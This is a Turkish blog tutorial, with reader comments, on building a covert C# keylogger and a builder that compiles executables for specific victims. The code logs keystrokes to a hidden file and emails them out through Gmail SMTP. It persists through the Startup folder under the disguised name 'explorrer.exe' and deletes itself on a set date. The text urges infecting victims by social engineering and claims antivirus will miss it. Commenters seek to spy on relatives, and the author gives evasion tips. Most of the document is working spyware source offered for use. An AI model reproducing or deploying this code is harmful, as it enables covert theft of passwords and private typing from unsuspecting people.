Bu yazı ile öğreneceklerimiz neler?
- Keylogger nedir ve çalışma mantığı nasıldır?
- Bilgsayarımda keylogger olduğunu nasıl tespit ederim?
- Bilgisayarımda keylogger exe’si var, kime ait olduğunu nasıl anlarım?
- C# dilinde öğrenilecekler:
–FileStream (StreamWriter, StreamReader) sınıfı kullanımı
–SaveFileDialog kullanımı
–Mail gönderme işlemleri ve smtp ayarları
–Programın hayalet (fark edilmeden) çalışması
–Klavye tuşlarının dinlenmesi (GetAsyncKeyState)
–Programın kendini kopyalamsı (File.Copy)
–Programın kendini silmesi (CMD‘de kod çalıştırma)
–Arayüzde alınan parametrelerle programın yeni bir exe oluşturması (CSharpCodeProvider, ICodeCompiler, CompilerParameters)
*Tıklanıldığında direk o konuya gidecek şekilde ayarlandı.
Keylogger Nedir?
Keylogger, çalıştırılan bilgisayarda bilgisayar sahibine kendini fark ettirmeden, bilgisayarda basılan tuşların kayıtlarını tutan ve bu kayıtları programının sahibine mail atan bir casus programdır. Genellik kullanıcı adı ve ya şifre çalmak için kullanılır. Sosyal mühendislik yöntemleri ile kurban bilgisayarda çalıştırılır. Güvenlik açısından yöneticinin bilgisi dahilinde de kullanılabilir.
Uygulamanın Özellikleri
Hani dedik ya profesyonel keylogger diye şimdi benim açımdan profesyonel olmasını sağlayan özelliklerine bakalım.
Öncelikle uygulamanın basit bir arayüzü var ve kullanıcıdan bir mail adresi, o mail adresinin şifresini, dk bilgisi ve bir tarih ister.
Keylogger Oluştur butonuna basıldığında seçilen dosya dizinine, alınan parametreler doğrultusunda o kullanıcıya özel bir exe dosyası oluşturur. Oluşan yeni exe, bizim kurbanda kullanacağımız exe’dir. Bir sosyal mühendislik yöntemi ile ve ya kendiniz (flash bellek vs) gibi yöntemlerle bu exe’yi kurban bilgisayarda çift tıklayarak çalıştırırız. Herhangi bir çalışma belirtisi almayız ama program çalışmaya başlamıştır. Artık o exe dosyasını silebiliriz. Bilgisayar bizimdir 🙂
Çalıştırdığımız bilgisayarda basılan tuşların kaydını, arayüzde girdiğimiz mail adresini kullanarak mail atar. Bu mail atma işlemini ise gene arayüzde girdiğimiz dk aralığında bir yapar. Bilgisayar kapansa dahi tekrar açıldığında aktif olarak kullanıcıya kendini fark ettirmeden klavye loglarını atmaya devam eder. Seçtiğimiz kendini silme tarihi ise program o tarihe geldiğinde kurban bilgisayardan kendi kendini silerek izlerini kaybeder.
Eğer oluşturduğumuz exe’nin adını keylogger koymaz isek anti-virüs programları bunu fark etmez. Sebebi ise önemli sistem dosyalarını kullanmayan ve sisteme zarar vermeyen bir program olmasıdır.
Hadi Programlayalım…
Programlama kısmının anlaşılması için iki ana bölümde ele alalım ve her bölümü de metotlar üzerinden parça parça yazalım. İlk bölüm de oluşan exe’nin programlanmasıdır ki esas iş burada. İkinci bölüm ise arayüzün programlanması ve ilk bölümde yazdığımız programın arayüze entegre edilme işlemidir.
Bölüm 1
İlk olarak Virsual Studio’nun C# bölümünde bir konsol uygulaması açıyoruz. Metotları ve değişkenleri bunun içine yazıyoruz. Main() Metodunu en son dolduracağız.
Değişkenler
Main() metodunun üstüne global değişkenlerimizi tanımlıyoruz.
1 2 3 4 5 6 7 8 9 |
static extern short GetAsyncKeyState(int vkey); delegate void KontrolHandler(); static int gonDakika = 1; static int suankiDakika = 0; static int dk = 0; static string Email = "mail adresiniz@gmail.com"; static string Sifre = "mail şifreniz"; static string gonEmail = "mail adresiniz@gmail.com"; static DateTime SilmeTarihi; |
Bu değerleri ilerde arayüzde atayacağımız için şimdilik el ile giriyoruz.
Tuş kontrol metodları
AsyncKeyState ile gelen basılan tuş bilgileri ascii sayıları halindedir. Bu sayıları yakalamak için Kontrol() metodunu çağıracağız.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
static void Kontrol() { while (true) { for (int i = 0; i < Int16.MaxValue; i++) { if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1)) { char key = Convert.ToChar(MakeChar((Int16)i)); TusKaydet(key.ToString()); } } if (suankiDakika + gonDakika >= 60) { dk = (suankiDakika + gonDakika) % 60; } else { dk = suankiDakika + gonDakika; } if (SuanDakika() == dk) { suankiDakika = SuanDakika(); MailGonder(); } } } |
Kontrol() metodu da yakaladığı sayıları MakeChar() metoduna göndererek basılan tuşların Türkçe karakter olup olmadığına bakar, eğer Türkçe karakter ise kayıt etmesini sağlar. Türkçe karakterleri otomatik olarak çevirmediği için karakterlerin tek tek ascii kodlarını girdik.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
static Int16 MakeChar(Int16 key) { Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 }; int keyIndex = Array.IndexOf(keycode, key); bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift); if (nocaps && key > 64 && key < 91) { key = (Int16)(key == 73 ? 305 : key + 32); } else if (keyIndex != -1) { key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex]; } Debug.Write((char)key); return key; } |
Bu metotlar bize klavyeden basılan tuşların neler olduğunu söylecek olan metotlardır.
Tuşların kaydını tutma
Şimdi yakaladığımız tuşların kaydını bir yerde tutmalıyız. Çünkü bu metotlar while döngüsü içinde sürekli olarak çalışacaklar ve her klavye tuşunu teker teker yakalayacakalar. Yakaladıklarımızı bize mail atma zamanı gelene kadar tutacağımız bit txt dosyamız olması lazım.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
static void TusKaydet(string tus) { FileStream fs = null; if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt")) fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.Append, FileAccess.Write); else fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.CreateNew, FileAccess.Write); StreamWriter sw = new StreamWriter(fs); sw.Write(tus); sw.Flush(); fs.Close(); } |
FileStream ile bilgisayarlardaki gizli özel dosya olan ApplicationData klasörünede GrayLog adında bir txt dosyasının kontrolünü yaptık ve eğer yoksa oluşturduk.
StreamWriter ile de bu text dosyasının içine klavyeden gelen tus değişkenini yazdık.
Kaydı tuttulan tuşları okuma ve silme
Bu metot da ise teker teker yazdığımız basılan tuşların kaydının buşunduğu GrayLog.txt dosyasındaki değerleri okuma işlemini yapacağız. Bu işlem artık mail gönderme zamanı geldiğinde yapılacak ve mail de gönderilecek olan yazılar olacak.
1 2 3 4 5 6 7 8 9 10 |
static string Oku() { FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.Open, FileAccess.Read); StreamReader sr = new StreamReader(fs); string veriler = sr.ReadToEnd(); fs.Close(); Sil(); return veriler; } |
Mail gönderildikten sonra yani Oku() metodunun işi bittikten sonra yeni loglar gelmesi için kayıt tuttuğumuz text dosyasının içini temizlememiz gerekiyor. Bunun için Sil() metodu yazacağız ve kayıtların sürekli olarak kayıt edildiği bu text dosyasının boyutunun sürekli artmasını engelleyip daha temiz loglar almamızı sağlayacağız.
1 2 3 4 5 6 7 8 9 |
static void Sil() { FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.Create, FileAccess.Write); StreamWriter sw = new StreamWriter(fs); sw.Write(""); sw.Flush(); fs.Close(); } |
Mail gönderme
Tuşları aldık, yazdık, okuduk, sildik şimdi de yazılan tuşları okuyup mail gönderelim.
1 2 3 4 5 6 7 8 9 10 |
static void MailGonder() { string veriler = Oku(); MailMessage mesaj = new MailMessage(Email, gonEmail, "LOG", veriler); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.EnableSsl = true; smtp.UseDefaultCredentials = true; smtp.Credentials = new NetworkCredential(Email, Sifre); smtp.Send(mesaj); } |
Unutmayalım ki program sizin girdiğiniz mail adresini ve şifresini kullanarak o mail adresinin kendi kendine mail atmasını sağlayacak. Yani şifreyi o yüzden giriyoruz. Mail adresinin gmail olması zorunludur. Çünkü smtp ayarları gmail’e göre yapılmıştır. Ayrıca programın bu mail adresini kullanması için https://www.google.com/settings/security/lesssecureapps adresine gidip mail’in bu program tarafından kullanılabilir olmasını onaylamamız gerekiyor.
Dakika ayarları
Kaç dakikada bir log geleceğini gonDakika değişkenine yazdık. Bunu programın anlaması için şuanki dakikayı bilmesi gerekiyor ve bunun üzerine gonDakika değişkeninde yazdığımız kadar ekleyip, şuanki dakika eklenmiş dakikaya geldiğinde mail gönderme işleminin aktif olması gerekiyor.
1 2 3 4 5 6 |
static int SuanDakika() { string suan = DateTime.Now.ToShortTimeString(); int dakika = int.Parse(suan.Substring(suan.IndexOf(':') + 1, suan.Length - suan.IndexOf(':') - 1)); return dakika; } |
Bu metotta Kontrol() metoduna göndermek için anlık dakika bilgisin aldık.
Kendini kopyalaması
Exe’miz çalıştığında ilk yapacağı iş kendini Start Up dosyasına kopyalamak olacak. Bunun sebebi Start Up dosyası bilgisayar açıldığında ilk çalışan programların olduğu dosyadır. Yani programımız burada durursa bilgisayar kapanıp açılsa dahi çalışmasına devam edecektir.
1 2 3 4 5 6 7 |
static void ExeKopyalama() { if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Startup\GrayKey.exe")) { File.Copy(Path.GetFileName(Application.ExecutablePath), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Startup\GrayKey.exe"); } } |
Programın kendini silmesi
Son olarak programımız girilen kendini silme tarihine gelindiğinde kendini ve ApplicationData dosyasında oluşturduğumuz GrayKey.txt dosyasını silmesi ve tüm izlerini ortadan kaldıması gerekiyor. Bunun için programın CMD dosya dizinine kendini sil komutu göndererek yapmasını sağlayacağız.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
static void ExpoldeYourSelf() { System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo() { Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\GrayLog.txt", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" }); System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo() { Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Startup\GrayKey.exe", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" }); } static void islemSonlandi(IAsyncResult iar) { } |
son olarak işlemi sonlandıran boş metotumuzuda ekledikten sonra Main() metoduna geçebiliriz.
Main() metot
Programın hayalet çalışabilmesi için Referanslara System.Windows.Form ekleyip, Solution Properties’den Windows Application seçiyoruz. Yani Console uygulamamız bir Windows uygulaması olarak çalışacak ama ortada bir Form olmadığı için yok olarak çalışacak.
1 2 3 4 5 6 7 8 |
static void Main() { suankiDakika = SuanDakika(); KontrolHandler h = new KontrolHandler(Kontrol); h.BeginInvoke(new AsyncCallback(islemSonlandi), null); Console.ReadLine(); Application.Run(); } |
Evet ilk bölüm bitti. Programın şu anki hali bizim casus olarak çalıştıracağımız halidir. Şimdi buna bir arayüz ekleyip ilk başta tanımladığımız değişkenleri bu arayüzden programa dahil edeceğiz ve bu kodlara sahip exe’nin yazacağımız arayüzden oluşmasını sağlayacağız.
Bölüm 2
Solution‘umuza bir Windows Form Uygulaması ekleyelim. Yukarıda paylaştığım arayüz fotoğrafına benzer bir Form oluşturalım. SaveFileDialog eklemeyi unutmayalım.
Keylogger Oluştur butonu kodları
Keylogger Oluştur butonuna tıklayar kod kısmına geçelim. İlk olarak programın patlamasını önlemek için girilen değerlerin boş olup olmadığını ve ya istenilen aralıkta olup olmadığını kontrol edeceğiz. Örneğin log alma süresini -5 (eksi beş) yapamamlı ve ya kendini silme tarihini geçmiş bir tarih yapamamalı.
Bu kontrollerden geçtikten sonra eğer sıkıntı yoksa saveFileDialog açılacak ve DialogResult.OK ise CSharpCodeProvider, ICodeCompiler, CompilerParameters ve CompilerParameters sınıfları kullanılarak ilk bölümde yazdığımız kodları yeni bir exe haline getireceğiz.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
private void button1_Click(object sender, EventArgs e) { if (numericUpDown1.Value < 1) { MessageBox.Show("Dk'da sıkıntı var"); } else if (numericUpDown1.Value > 59) { MessageBox.Show("1 saatten fazla olmayacak şekilde programlandı!"); } else if (txtEMail.Text == "" || txtEMail.Text == null) { MessageBox.Show("Mail adresini gir!"); } else if (!txtEMail.Text.Contains("@")) { MessageBox.Show("Dalga mı geçiyorsun! Doğru düzgün mail gir."); } else if (dateTimePicker1.Value <= DateTime.Now) { MessageBox.Show("Adam gibi bi tarih seç!"); } else { if (saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { Dictionary<string, string> version = new Dictionary<string, string>(); version.Add("CompilerVersion", "v2.0"); CSharpCodeProvider codeProvider = new CSharpCodeProvider(version); ICodeCompiler codeCompiler = codeProvider.CreateCompiler(); CompilerParameters cp = new CompilerParameters(); cp.GenerateExecutable = true; cp.GenerateInMemory = false; cp.MainClass = "KeyLog_V1.Program"; cp.OutputAssembly = saveFileDialog1.FileName; cp.ReferencedAssemblies.Add("system.dll"); cp.ReferencedAssemblies.Add("system.windows.forms.dll"); cp.CompilerOptions = "/target:winexe"; CompilerResults cr = codeCompiler.CompileAssemblyFromSource(cp, Kodlar()); foreach (CompilerError item in cr.Errors) { MessageBox.Show(item.ErrorText); } } } } |
İlk bölümden kodların alınması
Butonun altına yazdığımız Kodlar() metodunu oluşturacağız. Bu kodlar metodu bizim ilk bölümde yazdığımız kodlar olacak. Yalnız bu kodları string olarak taşıyacağımız için ” değerlerinde sıkıntı çıkacaktır. Ctrl + f yaparak bu metodun içindeki ” işaretlerini * haline getirelim. En son return yapmadan önce Replace yaparak tekrar eski haline dönderip metodu gönderelim.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 |
string Kodlar() { string kod = @" using System; using System.Web; using System.Collections.Generic; using System.IO; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; using Microsoft.Win32; using System.Diagnostics; namespace KeyLog_V1 { class Program { [DllImport(*user32.dll*)] static extern short GetAsyncKeyState(int vkey); delegate void KontrolHandler(); static int gonDakika = DK1; static int suankiDakika = 0; static int dk = 0; static string Email = *gonMAILL*; static string Sifre = *mailSifre*; static string gonEmail = *gonMAILL*; static DateTime SilmeTarihi = Convert.ToDateTime(*TTT*); static void Main() { ExeKopyalama(); if (SilmeTarihi <= DateTime.Now) { ExpoldeYourSelf(); return; } suankiDakika = SuanDakika(); KontrolHandler h = new KontrolHandler(Kontrol); h.BeginInvoke(new AsyncCallback(islemSonlandi), null); Console.ReadLine(); Application.Run(); } static void ExpoldeYourSelf() { System.Diagnostics.Process.Start(*cmd.exe*, */C choice /C Y /N /D Y /T 3 & Del \** + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\explorrer.txt*); Application.Exit(); System.Diagnostics.Process.Start(*cmd.exe*, */C choice /C Y /N /D Y /T 3 & Del \** + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\Microsoft\Windows\Start Menu\Programs\Startup\explorrer.exe*); Application.Exit(); } static Int16 MakeChar(Int16 key) { Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 }; int keyIndex = Array.IndexOf(keycode, key); bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift); if (nocaps && key > 64 && key < 91) { key = (Int16)(key == 73 ? 305 : key + 32); } else if (keyIndex != -1) { key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex]; } Debug.Write((char)key); return key; } static void Kontrol() { while (true) { for (int i = 0; i < Int16.MaxValue; i++) { if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1)) { char key = Convert.ToChar(MakeChar((Int16)i)); TusKaydet(key.ToString()); } } if (suankiDakika + gonDakika >= 60) { dk = (suankiDakika + gonDakika) % 60; } else { dk = suankiDakika + gonDakika; } if (SuanDakika() == dk) { suankiDakika = SuanDakika(); MailGonder(); } } } static void MailGonder() { string veriler = Oku(); MailMessage mesaj = new MailMessage(Email, gonEmail, *LOG*, veriler); SmtpClient smtp = new SmtpClient(*smtp.gmail.com*, 587); smtp.EnableSsl = true; smtp.UseDefaultCredentials = true; smtp.Credentials = new NetworkCredential(Email, Sifre); smtp.Send(mesaj); } static string Oku() { FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.Open, FileAccess.Read); StreamReader sr = new StreamReader(fs); string veriler = sr.ReadToEnd(); fs.Close(); Sil(); return veriler; } static void Sil() { FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.Create, FileAccess.Write); StreamWriter sw = new StreamWriter(fs); sw.Write(**); sw.Flush(); fs.Close(); } static int SuanDakika() { string suan = DateTime.Now.ToShortTimeString(); int dakika = int.Parse(suan.Substring(suan.IndexOf(':') + 1, suan.Length - suan.IndexOf(':') - 1)); return dakika; } static void islemSonlandi(IAsyncResult iar) { } static void TusKaydet(string tus) { FileStream fs = null; if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*)) fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.Append, FileAccess.Write); else fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.CreateNew, FileAccess.Write); StreamWriter sw = new StreamWriter(fs); sw.Write(tus); sw.Flush(); fs.Close(); } static void ExeKopyalama() { if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\Microsoft\Windows\Start Menu\Programs\Startup\explorrer.exe*)) { File.Copy(Path.GetFileName(Application.ExecutablePath), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\Microsoft\Windows\Start Menu\Programs\Startup\explorrer.exe*); } } } } "; kod = kod.Replace("gonMAILL", txtEMail.Text); kod = kod.Replace("mailSifre", txtSifre.Text); kod = kod.Replace("DK1", numericUpDown1.Value.ToString()); kod = kod.Replace("TTT", dateTimePicker1.Value.ToString()); kod = kod.Replace('*', '\"'); return kod; } private void button2_Click(object sender, EventArgs e) { this.Close(); } } |
Evet programımız bitti. Şimdi Bu Windows Form Uygulamasını Set Start Up Project yaparak çalıştırabiliriz.
Not: Uygulamanın tanımadığı Class‘ların namespace‘ini ctrl+. yaparak eleyebiliriz.
Bilgisayarımda Keylogger Olduğunu Nasıl Anlarım?
Öncelikle keylogger’lar sürekli while döngüsünde çalışan programlar olduğundundan bilgisayarınızda zamansız kasmalar yapacaktır. Fan hareketlerinde hızlanmalar, tuşlara bastığınızda harflerin basar basmaz değilde biraz arkadan gelme durumuda olur. Yok benim bilgisayarım çok iyi diyorsanız bu kasmaları yaşamazsınız ama fan hızlanmaları ara ara yine olacaktır.
Diyelim ki şüphelendik programı nasıl yakalarız derseniz, keyloggerlar arkaplanda çalışır ve bunu görmenin yolu Görev Yöneticisinden geçer. Görev Yöneticisinde çalışan programlara bakın ve siz klavye tuşlarına hızlıca bastığınızda CPU kullanımı gözle görünü şekilde artan biz exe varsa keylogger olma ihtimali yüksektir.
Emin olmak için dosya dizinine:
1 |
%appdata%\Microsoft\Windows\Start Menu\Programs\Startup |
yazıp bu klasöre gidelim. İşte burası yukarıda da dediğimiz gibi bilgisayarın başlangıçta başlatacağı programların bulunduğu dizindir. Eğer burada o CPU’nuzu kasan exe orada ise o keyloggerdir. Programı durdurup ve bu dosya dizininden silerek kurtulabilirsiniz. Ama yok ben bu kime ait bulmak isitiyorum, kim beni düdüklemiş bilmek isiyorum derseniz buyrun:
Bilgisayarımda Keylogger Buldum Bu Kime Ait?
Şimdi yukarıda ki dosya dizininde ve ya başkası tarafından size atılmış keylogger exe’sini bulduğunuzda önce exe’nin çalışmasını Görev Yöneticisinden durdurun. Sonra HEX programını indirin. Bu program tersine mühendislik programıdır ve uygulamaları tekrar koda döndürme işlemini yapar kısmende başarılıdır. İlla HEX olmasına gerek yok bu gibi başka programlarda kullanılabilir. Ben başarılı birşekilde HEX ile bu işlemi daha önce yaptığım için öneriyorum. exe’yi bu programa atıp içini açtığınızda gmail.com aratıp loglarınızın hangi mail adresine gittiğini ögrenebilir, gene o mail adresinin şifresini de görebileceğiniz için mail adresine girip hangi loglarınızın gittiğini tespit edebilirsiniz. Kullanıcılar ayarlarından da o maile daha önce hangi bilgisayardan ve nereden girildiğini görüp işlem başlatabilirsiniz.
Nasıl çalıştığını bilmediğiniz yazılımdan kendinizi koruyamazsınız…
Kaynak Kodu için:
source varmı acaba?
Kaynak kodlarına buradan ulaşabilirsiniz:
https://github.com/fatihyldrim/keylogger
Merhaba Hocam,
Bu proje dosyası ile web test tool geliştirmek mümkün müdür? Bana bu konuda mail ile dönüş yaparsanız sevinirim. Saygılarımla.
Merhaba,
Web testleri için bu proje kullanılamaz. Onun için apilerin kullanılıp ajaxların webmetodlarının tetiklenmeli, gerekirse webbrowser controlü kullanılmalıdır.
HACI ABİ AT GİBİ CPU TEMESİ NEDEN
Kötü niyetli kullanılmaması için. Güvenlik ve bilgi amaçlı paylaşılmıştır.
Hocam bunu android için nazil yapabilirim
Java ile yapabilirsin
Oluştur butonuna basınca ) beklenior ‘=’ bekleniyor gibi hatalar veriyor
Program user32.dll kullandığı için nadirde olsa bazı antivirus programları veya win10 güncel defenderi virüs olarak algılayıp indirdikten sonra bazı dosyaları silmiş olabilir.
hex proramının tam ismi nedir ?
“telerik justdecompile” çok iyidir. Linux üzerinden de çeşitli paketler mevcut.
EMAİLİ ŞİFRELİ OLARAK YAZ RUNTİMEDA DECRPTY ET .
Additional information: ‘GetAsyncKeyState’ metodunun uygulaması olmadığından (RVA’sı olmadığından)
bu hata nedir hocam ?
Klavye tuşlarını dinlemek için gerekli olan kütüphane visual studioda eksik olabilir.
Selamlar,
Kodu çalıştırdım fakat fan deli gibi çalışıyor. Kurulan bilgisayarda direk belli oluyor o yüzden. Bunun önüne nasıl geçilebilir?
Merhabalar,
System.Diagnostics kütüphanesi ile CPU ve RAM kullanımını kontrol edebilirsiniz.
Ben bu virüsü bir tanıdığıma bulaştırmak istiyorum ancak o kişinin telefonunun elime geçme ihtimali hiç yok. Bu virüsü gmail yoluyla kurbanın telefonuna bulaştırabilirmiyim
Bulaştıramazsın.
TUŞ KONRTOL METHODUNDA HATA ALIYORUM
1.The Name ‘MakeChar’ does not in the current context
2.The Name ‘TusKaydet’ does not in the current contex
3.The Name ‘SuanDakika’ does not in the current contex
4.The Name ‘SuanDakika’ does not in the current contex
5.The Name ‘MailGonder’ does not in the current contex
Hatalar Bunlar
2018 LÜTFEN YARDIM EDİN
Bu hata namespacelerin farklılığından yada süslü parantez unuttuğun için kaynaklanır. Syntax hatası yani.
sabitte satır başı karekteri şeklinde mesaj var ne anlama geliyor ?
Merhaba sisinle iletişime geçmek istiyorum instagram adresiniz var mı?
Sizinle iletişime geçmem lazım . İnstagram adresiniz var mı?
instagram adresi : kodblogum
Android de çalıltırabilirmiyiz. Bazı programlar var c# dilini javaya çeviriyor. Eğer olur derseniz bir sorum daha olacak androide çevirdiğimiz zaman mail değilde telefona mesaj gönderebilirmiyiz?
Maalesef çeviremezsin.
Telefona da link üzerinden keyloger göndere bilirmiyiz?
Evet gönderebilirsiniz tıklayıp yüklemesi gerekir. Ama bu telefonda çalışmaz.
Programı hiçbir şekilde başlangıca kopyalayamıyorum sebebi nedir acaba ?
Oturumda admin olmanız gerekir.
bunu her kullanıcı için nasıl ayarlarız peki ?
ve şuan admin olarak oturum açmama rağmen başlangıca kopyalanmıyor programım aynı kod bloklarını form öğesine eklediğimde formum başlangıca ekleniyor fakat consol olan işlemleri hiçbir şekilde başlangıca ekleyemiyorum ?
abi zip dosyasını nası code çıkartabilirim
yeni başladım. Kendim elimle yapmak istiyorum. tüm kodları art arda satır şeklinde mi yazmam lazım. bir de bu yazdığımız kodları nasıl çalışır hale getircez. mesela kardeşimin bilgisayarına uzaktan nasıl yükleyebilirim bu keyloggeri.
Application is in break mode diyor derlediğim de nasıl çözebilirim bu hatayı ?
hocam direk exe olarak atsanız daha yaralı olur pek programlama bilmiyorum çocuğumun bilgisayarında kullanacağım
Kod bir proje dosyasıdır. Kendiniz oluşturmanız gerekiyor.
ben programı indirmek için linki bulamadım rica etsem atarmısın ?
Kod bir proje dosyasıdır. Kendiniz oluşturmanız gerekiyor.
Hocam direkt olarak bu keylogger oluşturucuyu verirmisiniz?
Kod bir proje dosyasıdır. Kendiniz oluşturmanız gerekiyor.
Hocam aşağıdaki gibi bir hata veriyor neden olabilir Cevaplarsan sevinirim
System.InvalidOperationException: csc.exe derleyici yürütülebilir dosyası bulunamadı.
Hocam, bu programı nasıl çalıştıracağız?